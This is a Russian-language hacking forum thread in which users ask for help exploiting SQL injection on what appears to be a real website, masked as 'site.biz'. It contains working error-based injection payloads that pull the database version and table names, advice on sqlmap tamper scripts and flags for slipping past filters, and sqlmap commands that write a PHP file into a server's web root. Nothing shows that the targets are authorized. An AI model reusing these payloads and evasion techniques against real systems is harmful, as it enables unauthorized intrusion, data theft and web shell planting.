• B правой части каждого сообщения есть стрелки и . Не стесняйтесь оценивать ответы. Чтобы автору вопроса закрыть свой тикет, надо выбрать лучший ответ. Просто нажмите значок в правой части сообщения.

  • 🔥 Бесплатный курс от Академии Кодебай: «Анализ защищенности веб-приложений»

    🛡 Научитесь находить и использовать уязвимости веб-приложений.
    🧠 Изучите SQLi, XSS, CSRF, IDOR и другие типовые атаки на практике.
    🧪 Погрузитесь в реальные лаборатории и взломайте свой первый сайт!
    🚀 Подходит новичкам — никаких сложных предварительных знаний не требуется.

    Доступ открыт прямо сейчас Записаться бесплатно

Вопрос по sqlmap

ArsenalWest

Member
19.03.2020
9
0
Помогите пожалуйста составить запрос для sqlmap
Код:
site.biz/1'or(1,2)=(select*from(select(name_const(version(),1)),name_const(version(),1))a)and(1)='1/
 

Вложения

  • 2020-06-20_232627.png
    2020-06-20_232627.png
    4,8 КБ · Просмотры: 233
.biz/1'or(ExtractValue(1,concat(0x3a,(SELECT/**/TABLE_NAME/**/FROM/**/information_schema.TABLES/**/LIMIT/**/40,1),(':'))))--'
Имя бд выдает. Подскажите вектор для sqlmap
space2comment не помогает
 
1. нужно смотреть что фильтрует, ставь verbose 3 минимум
2. space2comment заменяет пробелы “/ ** /” и это не панацея, программа просит использовать тампер и в пример ставит space2comment. Тамперов много, можно что-то написать самому если ничего из базы не подойдет
3. можно использовать сразу несколько тамперов и не забудь еще про --hex или --no-cast
 
Здравствуйте, спрошу сдесь.
Запись файла на сервер успешна, файл есть на сервере, также он работает через браузер, также он есть если смотреть через шелл.

is-dba: true
user: root
privilege : ALL

sqlmap --file-write=test.php --file-desk=/var/www/my_site/test.php

Потом я хочу его прочитать sqlmap --file-read=/var/www/my_site/test.php, sqlmap не может его прочитать.
Код:
 [ERROR] no data retrieved

Немогу понять, или ето sqlmap не работает или ??? Запись работает, а чтение нет, как так?
 
Здравствуйте, спрошу сдесь.
Запись файла на сервер успешна, файл есть на сервере, также он работает через браузер, также он есть если смотреть через шелл.

is-dba: true
user: root
privilege : ALL

sqlmap --file-write=test.php --file-desk=/var/www/my_site/test.php

Потом я хочу его прочитать sqlmap --file-read=/var/www/my_site/test.php, sqlmap не может его прочитать.
Код:
 [ERROR] no data retrieved

Немогу понять, или ето sqlmap не работает или ??? Запись работает, а чтение нет, как так?

Попробуй его wget-ом или curl-ом и посмотри код ошибки который вернет тебе сервер.
 
Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab